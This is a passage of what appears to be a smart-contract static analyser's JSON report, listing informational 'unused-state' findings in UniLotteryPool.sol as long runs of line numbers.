7885, 7886, 7887, 7888, 7889, 7890, 7891, 7892, 7893, 7894, 7895, 7896, 7897, 7898, 7899, 7900, 7901, 7902, 7903, 7904, 7905, 7906, 7907, 7908, 7909, 7910, 7911, 7912, 7913, 7914, 7915, 7916, 7917, 7918, 7919, 7920, 7921, 7922, 7923, 7924, 7925, 7926, 7927, 7928, 7929, 7930, 7931, 7932, 7933, 7934, 7935, 7936, 7937, 7938, 7939, 7940, 7941, 7942, 7943, 7944, 7945, 7946, 7947, 7948, 7949, 7950, 7951, 7952, 7953, 7954, 7955, 7956, 7957, 7958, 7959, 7960, 7961, 7962, 7963, 7964, 7965, 7966, 7967, 7968, 7969, 7970, 7971, 7972, 7973, 7974, 7975, 7976, 7977, 7978, 7979, 7980, 7981, 7982, 7983, 7984, 7985, 7986, 7987, 7988, 7989, 7990, 7991, 7992, 7993, 7994, 7995, 7996, 7997, 7998, 7999, 8000, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8008, 8009, 8010, 8011, 8012, 8013, 8014, 8015, 8016, 8017, 8018, 8019, 8020, 8021, 8022, 8023, 8024, 8025, 8026, 8027, 8028, 8029, 8030, 8031, 8032, 8033, 8034, 8035, 8036, 8037, 8038, 8039, 8040, 8041, 8042, 8043, 8044, 8045, 8046, 8047, 8048, 8049, 8050, 8051, 8052, 8053, 8054, 8055, 8056, 8057, 8058, 8059, 8060, 8061, 8062, 8063, 8064, 8065, 8066, 8067, 8068, 8069, 8070, 8071, 8072, 8073, 8074, 8075, 8076, 8077, 8078, 8079, 8080, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089, 8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099, 8100, 8101, 8102, 8103, 8104, 8105, 8106, 8107, 8108, 8109, 8110, 8111, 8112, 8113, 8114, 8115, 8116, 8117, 8118, 8119, 8120, 8121, 8122, 8123, 8124, 8125, 8126, 8127, 8128, 8129, 8130, 8131, 8132, 8133, 8134, 8135, 8136, 8137, 8138, 8139, 8140, 8141, 8142, 8143, 8144, 8145, 8146, 8147, 8148, 8149, 8150, 8151, 8152, 8153, 8154, 8155, 8156, 8157, 8158, 8159, 8160, 8161, 8162, 8163, 8164, 8165, 8166, 8167, 8168, 8169, 8170, 8171, 8172, 8173, 8174, 8175, 8176, 8177, 8178, 8179, 8180, 8181, 8182, 8183, 8184, 8185, 8186, 8187, 8188, 8189, 8190, 8191]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6307, 6308, 6309, 6310, 6311, 6312, 6313, 6314, 6315, 6316, 6317, 6318, 6319, 6320, 6321, 6322, 6323, 6324, 6325, 6326, 6327, 6328, 6329, 6330, 6331, 6332, 6333, 6334, 6335, 6336, 6337, 6338, 6339, 6340, 6341, 6342, 6343, 6344, 6345, 6346, 6347, 6348, 6349, 6350, 6351, 6352, 6353, 6354, 6355, 6356, 6357, 6358, 6359, 6360, 6361, 6362, 6363, 6364, 6365, 6366, 6367, 6368, 6369, 6370, 6371, 6372, 6373, 6374, 6375, 6376, 6377, 6378, 6379, 6380, 6381, 6382, 6383, 6384, 6385, 6386, 6387, 6388, 6389, 6390, 6391, 6392, 6393, 6394, 6395, 6396, 6397, 6398, 6399, 6400, 6401, 6402, 6403, 6404, 6405, 6406, 6407, 6408, 6409, 6410, 6411, 6412, 6413, 6414, 6415, 6416, 6417, 6418, 6419, 6420, 6421, 6422, 6423, 6424, 6425, 6426, 6427, 6428, 6429, 6430, 6431, 6432, 6433, 6434, 6435, 6436, 6437, 6438, 6439, 6440, 6441, 6442, 6443, 6444, 6445, 6446, 6447, 6448, 6449, 6450, 6451, 6452, 6453, 6454, 6455, 6456, 6457, 6458, 6459, 6460, 6461, 6462, 6463, 6464, 6465, 6466, 6467, 6468, 6469, 6470, 6471, 6472, 6473, 6474, 6475, 6476, 6477, 6478, 6479, 6480, 6481, 6482, 6483, 6484, 6485, 6486, 6487, 6488, 6489, 6490, 6491, 6492, 6493, 6494, 6495, 6496, 6497, 6498, 6499, 6500, 6501, 6502, 6503, 6504, 6505, 6506, 6507, 6508, 6509, 6510, 6511, 6512, 6513, 6514, 6515, 6516, 6517, 6518, 6519, 6520, 6521, 6522, 6523, 6524, 6525, 6526, 6527, 6528, 6529, 6530, 6531, 6532, 6533, 6534, 6535, 6536, 6537, 6538, 6539, 6540, 6541, 6542, 6543, 6544, 6545, 6546, 6547, 6548, 6549, 6550, 6551, 6552, 6553, 6554, 6555, 6556, 6557, 6558, 6559, 6560, 6561, 6562, 6563, 6564, 6565, 6566, 6567, 6568, 6569, 6570, 6571, 6572, 6573, 6574, 6575, 6576, 6577, 6578, 6579, 6580, 6581, 6582, 6583, 6584, 6585, 6586, 6587, 6588, 6589, 6590, 6591, 6592, 6593, 6594, 6595, 6596, 6597, 6598, 6599, 6600, 6601, 6602, 6603, 6604, 6605, 6606, 6607, 6608, 6609, 6610, 6611, 6612, 6613, 6614, 6615, 6616, 6617, 6618, 6619, 6620, 6621, 6622, 6623, 6624, 6625, 6626, 6627, 6628, 6629, 6630, 6631, 6632, 6633, 6634, 6635, 6636, 6637, 6638, 6639, 6640, 6641, 6642, 6643, 6644, 6645, 6646, 6647, 6648, 6649, 6650, 6651, 6652, 6653, 6654, 6655, 6656, 6657, 6658, 6659, 6660, 6661, 6662, 6663, 6664, 6665, 6666, 6667, 6668, 6669, 6670, 6671, 6672, 6673, 6674, 6675, 6676, 6677, 6678, 6679, 6680, 6681, 6682, 6683, 6684, 6685, 6686, 6687, 6688, 6689, 6690, 6691, 6692, 6693, 6694, 6695, 6696, 6697, 6698, 6699, 6700, 6701, 6702, 6703, 6704, 6705, 6706, 6707, 6708, 6709, 6710, 6711, 6712, 6713, 6714, 6715, 6716, 6717, 6718, 6719, 6720, 6721, 6722, 6723, 6724, 6725, 6726, 6727, 6728, 6729, 6730, 6731, 6732, 6733, 6734, 6735, 6736, 6737, 6738, 6739, 6740, 6741, 6742, 6743, 6744, 6745, 6746, 6747, 6748, 6749, 6750, 6751, 6752, 6753, 6754, 6755, 6756]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3028, 3029, 3030, 3031, 3032, 3033, 3034, 3035, 3036, 3037, 3038, 3039, 3040, 3041, 3042, 3043, 3044, 3045, 3046, 3047, 3048, 3049, 3050, 3051, 3052, 3053, 3054, 3055, 3056, 3057, 3058, 3059, 3060, 3061, 3062, 3063, 3064, 3065, 3066, 3067, 3068, 3069, 3070, 3071, 3072, 3073, 3074, 3075, 3076, 3077, 3078, 3079, 3080, 3081, 3082, 3083, 3084, 3085, 3086, 3087, 3088, 3089, 3090, 3091, 3092, 3093, 3094, 3095, 3096, 3097, 3098, 3099, 3100, 3101, 3102, 3103, 3104, 3105, 3106, 3107, 3108, 3109, 3110, 3111, 3112, 3113, 3114, 3115, 3116, 3117, 3118, 3119, 3120, 3121, 3122, 3123, 3124, 3125, 3126, 3127, 3128, 3129, 3130, 3131, 3132, 3133, 3134, 3135, 3136, 3137, 3138, 3139, 3140, 3141, 3142, 3143, 3144, 3145, 3146, 3147, 3148, 3149, 3150, 3151, 3152, 3153, 3154, 3155, 3156, 3157, 3158, 3159, 3160, 3161, 3162, 3163, 3164, 3165, 3166, 3167, 3168, 3169, 3170, 3171, 3172, 3173, 3174, 3175, 3176, 3177, 3178, 3179, 3180, 3181, 3182, 3183, 3184, 3185, 3186, 3187, 3188, 3189, 3190, 3191, 3192, 3193, 3194, 3195, 3196, 3197, 3198, 3199, 3200, 3201, 3202, 3203, 3204, 3205, 3206, 3207, 3208, 3209, 3210, 3211, 3212, 3213, 3214, 3215, 3216, 3217, 3218, 3219, 3220, 3221, 3222, 3223, 3224, 3225, 3226, 3227, 3228, 3229, 3230, 3231, 3232, 3233, 3234, 3235, 3236, 3237, 3238, 3239, 3240, 3241, 3242, 3243, 3244, 3245, 3246, 3247, 3248, 3249, 3250, 3251, 3252, 3253, 3254, 3255, 3256, 3257, 3258, 3259, 3260, 3261, 3262, 3263, 3264, 3265, 3266, 3267, 3268, 3269, 3270, 3271, 3272, 3273, 3274, 3275, 3276, 3277, 3278, 3279, 3280, 3281, 3282, 3283, 3284, 3285, 3286, 3287, 3288, 3289, 3290, 3291, 3292, 3293, 3294, 3295, 3296, 3297, 3298, 3299, 3300, 3301, 3302, 3303, 3304, 3305, 3306, 3307, 3308, 3309, 3310, 3311, 3312, 3313, 3314, 3315, 3316, 3317, 3318, 3319, 3320, 3321, 3322, 3323, 3324, 3325, 3326, 3327, 3328, 3329, 3330, 3331, 3332, 3333, 3334, 3335, 3336, 3337, 3338, 3339, 3340, 3341, 3342, 3343, 3344, 3345, 3346, 3347, 3348, 3349, 3350, 3351, 3352, 3353, 3354, 3355, 3356, 3357, 3358, 3359, 3360, 3361, 3362, 3363, 3364, 3365, 3366, 3367, 3368, 3369, 3370, 3371, 3372, 3373, 3374, 3375, 3376, 3377, 3378, 3379, 3380, 3381, 3382, 3383, 3384, 3385, 3386, 3387, 3388, 3389, 3390, 3391, 3392, 3393, 3394, 3395, 3396, 3397, 3398, 3399, 3400, 3401, 3402, 3403, 3404, 3405, 3406, 3407, 3408, 3409, 3410, 3411, 3412, 3413, 3414, 3415, 3416, 3417, 3418, 3419, 3420, 3421, 3422, 3423, 3424, 3425, 3426, 3427, 3428, 3429, 3430, 3431, 3432, 3433, 3434, 3435, 3436, 3437, 3438, 3439, 3440, 3441, 3442, 3443, 3444, 3445, 3446, 3447, 3448, 3449, 3450, 3451, 3452, 3453, 3454, 3455, 3456, 3457, 3458, 3459, 3460, 3461, 3462, 3463, 3464, 3465, 3466, 3467, 3468, 3469, 3470, 3471, 3472, 3473, 3474, 3475, 3476, 3477, 3478, 3479, 3480, 3481, 3482, 3483, 3484, 3485, 3486, 3487, 3488, 3489, 3490, 3491, 3492, 3493, 3494, 3495, 3496, 3497, 3498, 3499, 3500, 3501, 3502, 3503, 3504, 3505, 3506, 3507, 3508, 3509, 3510, 3511, 3512, 3513, 3514, 3515, 3516, 3517, 3518, 3519, 3520, 3521, 3522, 3523, 3524, 3525, 3526, 3527, 3528, 3529, 3530, 3531, 3532, 3533, 3534, 3535, 3536, 3537, 3538, 3539, 3540, 3541, 3542, 3543, 3544, 3545, 3546, 3547, 3548, 3549, 3550, 3551, 3552, 3553, 3554, 3555, 3556, 3557, 3558, 3559, 3560, 3561, 3562, 3563, 3564, 3565, 3566, 3567, 3568, 3569, 3570, 3571, 3572, 3573, 3574, 3575, 3576, 3577, 3578, 3579, 3580, 3581, 3582, 3583, 3584, 3585, 3586, 3587, 3588, 3589, 3590, 3591, 3592, 3593, 3594, 3595, 3596, 3597, 3598, 3599, 3600, 3601, 3602, 3603, 3604, 3605, 3606, 3607, 3608, 3609, 3610, 3611, 3612, 3613, 3614, 3615, 3616, 3617, 3618, 3619, 3620, 3621, 3622, 3623, 3624, 3625, 3626, 3627, 3628, 3629, 3630, 3631, 3632, 3633, 3634, 3635, 3636, 3637, 3638, 3639, 3640, 3641, 3642, 3643, 3644, 3645, 3646, 3647, 3648, 3649, 3650, 3651, 3652, 3653, 3654, 3655, 3656, 3657, 3658, 3659, 3660, 3661, 3662, 3663, 3664, 3665, 3666, 3667, 3668, 3669, 3670, 3671, 3672, 3673, 3674, 3675, 3676, 3677, 3678, 3679, 3680, 3681, 3682, 3683, 3684, 3685, 3686, 3687, 3688, 3689, 3690, 3691, 3692, 3693, 3694, 3695, 3696, 3697, 3698, 3699, 3700, 3701, 3702, 3703, 3704, 3705, 3706, 3707, 3708, 3709, 3710, 3711, 3712, 3713, 3714, 3715, 3716, 3717, 3718, 3719, 3720, 3721, 3722, 3723, 3724, 3725, 3726, 3727, 3728, 3729, 3730, 3731, 3732, 3733, 3734, 3735, 3736, 3737, 3738, 3739, 3740, 3741, 3742, 3743, 3744, 3745, 3746, 3747, 3748, 3749, 3750, 3751, 3752, 3753, 3754, 3755, 3756, 3757, 3758, 3759, 3760, 3761, 3762, 3763, 3764, 3765, 3766, 3767, 3768, 3769, 3770, 3771, 3772, 3773, 3774, 3775, 3776, 3777, 3778, 3779, 3780, 3781, 3782, 3783, 3784, 3785, 3786, 3787, 3788, 3789, 3790, 3791, 3792, 3793, 3794, 3795, 3796, 3797, 3798, 3799, 3800, 3801, 3802, 3803, 3804, 3805, 3806, 3807, 3808, 3809, 3810, 3811, 3812, 3813, 3814, 3815, 3816, 3817, 3818, 3819, 3820, 3821, 3822, 3823, 3824, 3825, 3826, 3827, 3828, 3829, 3830, 3831, 3832, 3833, 3834, 3835, 3836, 3837, 3838, 3839, 3840, 3841, 3842, 3843, 3844, 3845, 3846, 3847, 3848, 3849, 3850, 3851, 3852, 3853, 3854, 3855, 3856, 3857, 3858, 3859, 3860, 3861, 3862, 3863, 3864, 3865, 3866, 3867, 3868, 3869, 3870, 3871, 3872, 3873, 3874, 3875, 3876, 3877, 3878, 3879, 3880, 3881, 3882, 3883, 3884, 3885, 3886, 3887, 3888, 3889, 3890, 3891, 3892, 3893, 3894, 3895, 3896, 3897, 3898, 3899, 3900, 3901, 3902, 3903, 3904, 3905, 3906, 3907, 3908, 3909, 3910, 3911, 3912, 3913, 3914, 3915, 3916, 3917, 3918, 3919, 3920, 3921, 3922, 3923, 3924, 3925, 3926, 3927, 3928, 3929, 3930, 3931, 3932, 3933, 3934, 3935, 3936, 3937, 3938, 3939, 3940, 3941, 3942, 3943, 3944, 3945, 3946, 3947, 3948, 3949, 3950, 3951, 3952, 3953, 3954, 3955, 3956, 3957, 3958, 3959, 3960, 3961, 3962, 3963, 3964, 3965, 3966, 3967, 3968, 3969, 3970, 3971, 3972, 3973, 3974, 3975, 3976, 3977, 3978, 3979, 3980, 3981, 3982, 3983, 3984, 3985, 3986, 3987, 3988, 3989, 3990, 3991, 3992, 3993, 3994, 3995, 3996, 3997, 3998, 3999, 4000, 4001, 4002, 4003, 4004, 4005, 4006, 4007, 4008, 4009, 4010, 4011, 4012, 4013, 4014, 4015, 4016, 4017, 4018, 4019, 4020, 4021, 4022, 4023, 4024, 4025, 4026, 4027, 4028, 4029, 4030, 4031, 4032, 4033, 4034, 4035, 4036, 4037, 4038, 4039, 4040, 4041, 4042, 4043, 4044, 4045, 4046, 4047, 4048, 4049, 4050, 4051, 4052, 4053, 4054, 4055, 4056, 4057, 4058, 4059, 4060, 4061, 4062, 4063, 4064, 4065, 4066, 4067, 4068, 4069, 4070, 4071, 4072, 4073, 4074, 4075, 4076, 4077, 4078, 4079, 4080, 4081, 4082, 4083, 4084, 4085, 4086, 4087, 4088, 4089, 4090, 4091, 4092, 4093, 4094, 4095, 4096, 4097, 4098, 4099, 4100, 4101, 4102, 4103, 4104, 4105, 4106, 4107, 4108, 4109, 4110, 4111, 4112, 4113, 4114, 4115, 4116, 4117, 4118, 4119, 4120, 4121, 4122, 4123, 4124, 4125, 4126, 4127, 4128, 4129, 4130, 4131, 4132, 4133, 4134, 4135, 4136, 4137, 4138, 4139, 4140, 4141, 4142, 4143, 4144, 4145, 4146, 4147, 4148, 4149, 4150, 4151, 4152, 4153, 4154, 4155, 4156, 4157, 4158, 4159, 4160, 4161, 4162, 4163, 4164, 4165, 4166, 4167, 4168, 4169, 4170, 4171, 4172, 4173, 4174, 4175, 4176, 4177, 4178, 4179, 4180, 4181, 4182, 4183, 4184, 4185, 4186, 4187, 4188, 4189, 4190, 4191, 4192, 4193, 4194, 4195, 4196, 4197, 4198, 4199, 4200, 4201, 4202, 4203, 4204, 4205, 4206, 4207, 4208, 4209, 4210, 4211, 4212, 4213, 4214, 4215, 4216, 4217, 4218, 4219, 4220, 4221, 4222, 4223, 4224, 4225, 4226, 4227, 4228, 4229, 4230, 4231, 4232, 4233, 4234, 4235, 4236, 4237, 4238, 4239, 4240, 4241, 4242, 4243, 4244, 4245, 4246, 4247, 4248, 4249, 4250, 4251, 4252, 4253, 4254, 4255, 4256, 4257, 4258, 4259, 4260, 4261, 4262, 4263, 4264, 4265, 4266, 4267, 4268, 4269, 4270, 4271, 4272, 4273, 4274, 4275, 4276, 4277, 4278, 4279, 4280, 4281, 4282, 4283, 4284, 4285, 4286, 4287, 4288, 4289, 4290, 4291, 4292, 4293, 4294, 4295, 4296, 4297, 4298, 4299, 4300, 4301, 4302, 4303, 4304, 4305, 4306, 4307, 4308, 4309, 4310, 4311, 4312, 4313, 4314, 4315, 4316, 4317, 4318, 4319, 4320, 4321, 4322, 4323, 4324, 4325, 4326, 4327, 4328, 4329, 4330, 4331, 4332, 4333, 4334, 4335, 4336, 4337, 4338, 4339, 4340, 4341, 4342, 4343, 4344, 4345, 4346, 4347, 4348, 4349, 4350, 4351, 4352, 4353, 4354, 4355, 4356, 4357, 4358, 4359, 4360, 4361, 4362, 4363, 4364, 4365, 4366, 4367, 4368, 4369, 4370, 4371, 4372, 4373, 4374, 4375, 4376, 4377, 4378, 4379, 4380, 4381, 4382, 4383, 4384, 4385, 4386, 4387, 4388, 4389, 4390, 4391, 4392, 4393, 4394, 4395, 4396, 4397, 4398, 4399, 4400, 4401, 4402, 4403, 4404, 4405, 4406, 4407, 4408, 4409, 4410, 4411, 4412, 4413, 4414, 4415, 4416, 4417, 4418, 4419, 4420, 4421, 4422, 4423, 4424, 4425, 4426, 4427, 4428, 4429, 4430, 4431, 4432, 4433, 4434, 4435, 4436, 4437, 4438, 4439, 4440, 4441, 4442, 4443, 4444, 4445, 4446, 4447, 4448, 4449, 4450, 4451, 4452, 4453, 4454, 4455, 4456, 4457, 4458, 4459, 4460, 4461, 4462, 4463, 4464, 4465, 4466, 4467, 4468, 4469, 4470, 4471, 4472, 4473, 4474, 4475, 4476, 4477, 4478, 4479, 4480, 4481, 4482, 4483, 4484, 4485, 4486, 4487, 4488, 4489, 4490, 4491, 4492, 4493, 4494, 4495, 4496, 4497, 4498, 4499, 4500, 4501, 4502, 4503, 4504, 4505, 4506, 4507, 4508, 4509, 4510, 4511, 4512, 4513, 4514, 4515, 4516, 4517, 4518, 4519, 4520, 4521, 4522, 4523, 4524, 4525, 4526, 4527, 4528, 4529, 4530, 4531, 4532, 4533, 4534, 4535, 4536, 4537, 4538, 4539, 4540, 4541, 4542, 4543, 4544, 4545, 4546, 4547, 4548, 4549, 4550, 4551, 4552, 4553, 4554, 4555, 4556, 4557, 4558, 4559, 4560, 4561, 4562, 4563, 4564, 4565, 4566, 4567, 4568, 4569, 4570, 4571, 4572, 4573, 4574, 4575, 4576, 4577, 4578, 4579, 4580, 4581, 4582, 4583, 4584, 4585, 4586, 4587, 4588, 4589, 4590, 4591, 4592, 4593, 4594, 4595, 4596, 4597, 4598, 4599, 4600, 4601, 4602, 4603, 4604, 4605, 4606, 4607, 4608, 4609, 4610, 4611, 4612, 4613, 4614, 4615, 4616, 4617, 4618, 4619, 4620, 4621, 4622, 4623, 4624, 4625, 4626, 4627, 4628, 4629, 4630, 4631, 4632, 4633, 4634, 4635, 4636, 4637, 4638, 4639, 4640, 4641, 4642, 4643, 4644, 4645, 4646, 4647, 4648, 4649, 4650, 4651, 4652, 4653, 4654, 4655, 4656, 4657, 4658, 4659, 4660, 4661, 4662, 4663, 4664, 4665, 4666, 4667, 4668, 4669, 4670, 4671, 4672, 4673, 4674, 4675, 4676, 4677, 4678, 4679, 4680, 4681, 4682, 4683, 4684, 4685, 4686, 4687, 4688, 4689, 4690, 4691, 4692, 4693, 4694, 4695, 4696, 4697, 4698, 4699, 4700, 4701, 4702, 4703, 4704, 4705, 4706, 4707, 4708, 4709, 4710, 4711, 4712, 4713, 4714, 4715, 4716, 4717, 4718, 4719, 4720, 4721, 4722, 4723, 4724, 4725, 4726, 4727, 4728, 4729, 4730, 4731, 4732, 4733, 4734, 4735, 4736, 4737, 4738, 4739, 4740, 4741, 4742, 4743, 4744, 4745, 4746, 4747, 4748, 4749, 4750, 4751, 4752, 4753, 4754, 4755, 4756, 4757, 4758, 4759, 4760, 4761, 4762, 4763, 4764, 4765, 4766, 4767, 4768, 4769, 4770, 4771, 4772, 4773, 4774, 4775, 4776, 4777, 4778, 4779, 4780, 4781, 4782, 4783, 4784, 4785, 4786, 4787, 4788, 4789, 4790, 4791, 4792, 4793, 4794, 4795, 4796, 4797, 4798, 4799, 4800, 4801, 4802, 4803, 4804, 4805, 4806, 4807, 4808, 4809, 4810, 4811, 4812, 4813, 4814, 4815, 4816, 4817, 4818, 4819, 4820, 4821, 4822, 4823, 4824, 4825, 4826, 4827, 4828, 4829, 4830, 4831, 4832, 4833, 4834, 4835, 4836, 4837, 4838, 4839, 4840, 4841, 4842, 4843, 4844, 4845, 4846, 4847, 4848]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6307, 6308, 6309, 6310, 6311, 6312, 6313, 6314, 6315, 6316, 6317, 6318, 6319, 6320, 6321, 6322, 6323, 6324, 6325, 6326, 6327, 6328, 6329, 6330, 6331, 6332, 6333, 6334, 6335, 6336, 6337, 6338, 6339, 6340, 6341, 6342, 6343, 6344, 6345, 6346, 6347, 6348, 6349, 6350, 6351, 6352, 6353, 6354, 6355, 6356, 6357, 6358, 6359, 6360, 6361, 6362, 6363, 6364, 6365, 6366, 6367, 6368, 6369, 6370, 6371, 6372, 6373, 6374, 6375, 6376, 6377, 6378, 6379, 6380, 6381, 6382, 6383, 6384, 6385, 6386, 6387, 6388, 6389, 6390, 6391, 6392, 6393, 6394, 6395, 6396, 6397, 6398, 6399, 6400, 6401, 6402, 6403, 6404, 6405, 6406, 6407, 6408, 6409, 6410, 6411, 6412, 6413, 6414, 6415, 6416, 6417, 6418, 6419, 6420, 6421, 6422, 6423, 6424, 6425, 6426, 6427, 6428, 6429, 6430, 6431, 6432, 6433, 6434, 6435, 6436, 6437, 6438, 6439, 6440, 6441, 6442, 6443, 6444, 6445, 6446, 6447, 6448, 6449, 6450, 6451, 6452, 6453, 6454, 6455, 6456, 6457, 6458, 6459, 6460, 6461, 6462, 6463, 6464, 6465, 6466, 6467, 6468, 6469, 6470, 6471, 6472, 6473, 6474, 6475, 6476, 6477, 6478, 6479, 6480, 6481, 6482, 6483, 6484, 6485, 6486, 6487, 6488, 6489, 6490, 6491, 6492, 6493, 6494, 6495, 6496, 6497, 6498, 6499, 6500, 6501, 6502, 6503, 6504, 6505, 6506, 6507, 6508, 6509, 6510, 6511, 6512, 6513, 6514, 6515, 6516, 6517, 6518, 6519, 6520, 6521, 6522, 6523, 6524, 6525, 6526, 6527, 6528, 6529, 6530, 6531, 6532, 6533, 6534, 6535, 6536, 6537, 6538, 6539, 6540, 6541, 6542, 6543, 6544, 6545, 6546, 6547, 6548, 6549, 6550, 6551, 6552, 6553, 6554, 6555, 6556, 6557, 6558, 6559, 6560, 6561, 6562, 6563, 6564, 6565, 6566, 6567, 6568, 6569, 6570, 6571, 6572, 6573, 6574, 6575, 6576, 6577, 6578, 6579, 6580, 6581, 6582, 6583, 6584, 6585, 6586, 6587, 6588, 6589, 6590, 6591, 6592, 6593, 6594, 6595, 6596, 6597, 6598, 6599, 6600, 6601, 6602, 6603, 6604, 6605, 6606, 6607, 6608, 6609, 6610, 6611, 6612, 6613, 6614, 6615, 6616, 6617, 6618, 6619, 6620, 6621, 6622, 6623, 6624, 6625, 6626, 6627, 6628, 6629, 6630, 6631, 6632, 6633, 6634, 6635, 6636, 6637, 6638, 6639, 6640, 6641, 6642, 6643, 6644, 6645, 6646, 6647, 6648, 6649, 6650, 6651, 6652, 6653, 6654, 6655, 6656, 6657, 6658, 6659, 6660, 6661, 6662, 6663, 6664, 6665, 6666, 6667, 6668, 6669, 6670, 6671, 6672, 6673, 6674, 6675, 6676, 6677, 6678, 6679, 6680, 6681, 6682, 6683, 6684, 6685, 6686, 6687, 6688, 6689, 6690, 6691, 6692, 6693, 6694, 6695, 6696, 6697, 6698, 6699, 6700, 6701, 6702, 6703, 6704, 6705, 6706, 6707, 6708, 6709, 6710, 6711, 6712, 6713, 6714, 6715, 6716, 6717, 6718, 6719, 6720, 6721, 6722, 6723, 6724, 6725, 6726, 6727, 6728, 6729, 6730, 6731, 6732, 6733, 6734, 6735, 6736, 6737, 6738, 6739, 6740, 6741, 6742, 6743, 6744, 6745, 6746, 6747, 6748, 6749, 6750, 6751, 6752, 6753, 6754, 6755, 6756]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6940, 6941, 6942, 6943, 6944, 6945, 6946, 6947, 6948, 6949, 6950, 6951, 6952, 6953, 6954, 6955, 6956, 6957, 6958, 6959, 6960, 6961, 6962, 6963, 6964, 6965, 6966, 6967, 6968, 6969, 6970, 6971, 6972, 6973, 6974, 6975, 6976, 6977, 6978, 6979, 6980, 6981, 6982, 6983, 6984, 6985, 6986, 6987, 6988, 6989, 6990, 6991, 6992, 6993, 6994, 6995, 6996, 6997, 6998, 6999, 7000, 7001, 7002, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010, 7011, 7012, 7013, 7014, 7015, 7016, 7017, 7018, 7019, 7020, 7021, 7022, 7023, 7024, 7025, 7026, 7027, 7028, 7029, 7030, 7031, 7032, 7033, 7034, 7035, 7036, 7037, 7038, 7039, 7040, 7041, 7042, 7043, 7044, 7045, 7046, 7047, 7048]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3028, 3029, 3030, 3031, 3032, 3033, 3034, 3035, 3036, 3037, 3038, 3039, 3040, 3041, 3042, 3043, 3044, 3045, 3046, 3047, 3048, 3049, 3050, 3051, 3052, 3053, 3054, 3055, 3056, 3057, 3058, 3059, 3060, 3061, 3062, 3063, 3064, 3065, 3066, 3067, 3068, 3069, 3070, 3071, 3072, 3073, 3074, 3075, 3076, 3077, 3078, 3079, 3080, 3081, 3082, 3083, 3084, 3085, 3086, 3087, 3088, 3089, 3090, 3091, 3092, 3093, 3094, 3095, 3096, 3097, 3098, 3099, 3100, 3101, 3102, 3103, 3104, 3105, 3106, 3107, 3108, 3109, 3110, 3111, 3112, 3113, 3114, 3115, 3116, 3117, 3118, 3119, 3120, 3121, 3122, 3123, 3124, 3125, 3126, 3127, 3128, 3129, 3130, 3131, 3132, 3133, 3134, 3135, 3136, 3137, 3138, 3139, 3140, 3141, 3142, 3143, 3144, 3145, 3146, 3147, 3148, 3149, 3150, 3151, 3152, 3153, 3154, 3155, 3156, 3157, 3158, 3159, 3160, 3161, 3162, 3163, 3164, 3165, 3166, 3167, 3168, 3169, 3170, 3171, 3172, 3173, 3174, 3175, 3176, 3177, 3178, 3179, 3180, 3181, 3182, 3183, 3184, 3185, 3186, 3187, 3188, 3189, 3190, 3191, 3192, 3193, 3194, 3195, 3196, 3197, 3198, 3199, 3200, 3201, 3202, 3203, 3204, 3205, 3206, 3207, 3208, 3209, 3210, 3211, 3212, 3213, 3214, 3215, 3216, 3217, 3218, 3219, 3220, 3221, 3222, 3223, 3224, 3225, 3226, 3227, 3228, 3229, 3230, 3231, 3232, 3233, 3234, 3235, 3236, 3237, 3238, 3239, 3240, 3241, 3242, 3243, 3244, 3245, 3246, 3247, 3248, 3249, 3250, 3251, 3252, 3253, 3254, 3255, 3256, 3257, 3258, 3259, 3260, 3261, 3262, 3263, 3264, 3265, 3266, 3267, 3268, 3269, 3270, 3271, 3272, 3273, 3274, 3275, 3276, 3277, 3278, 3279, 3280, 3281, 3282, 3283, 3284, 3285, 3286, 3287, 3288, 3289, 3290, 3291, 3292, 3293, 3294, 3295, 3296, 3297, 3298, 3299, 3300, 3301, 3302, 3303, 3304, 3305, 3306, 3307, 3308, 3309, 3310, 3311, 3312, 3313, 3314, 3315, 3316, 3317, 3318, 3319, 3320, 3321, 3322, 3323, 3324, 3325, 3326, 3327, 3328, 3329, 3330, 3331, 3332, 3333, 3334, 3335, 3336, 3337, 3338, 3339, 3340, 3341, 3342, 3343, 3344, 3345, 3346, 3347, 3348, 3349, 3350, 3351, 3352, 3353, 3354, 3355, 3356, 3357, 3358, 3359, 3360, 3361, 3362, 3363, 3364, 3365, 3366, 3367, 3368, 3369, 3370, 3371, 3372, 3373, 3374, 3375, 3376, 3377, 3378, 3379, 3380, 3381, 3382, 3383, 3384, 3385, 3386, 3387, 3388, 3389, 3390, 3391, 3392, 3393, 3394, 3395, 3396, 3397, 3398, 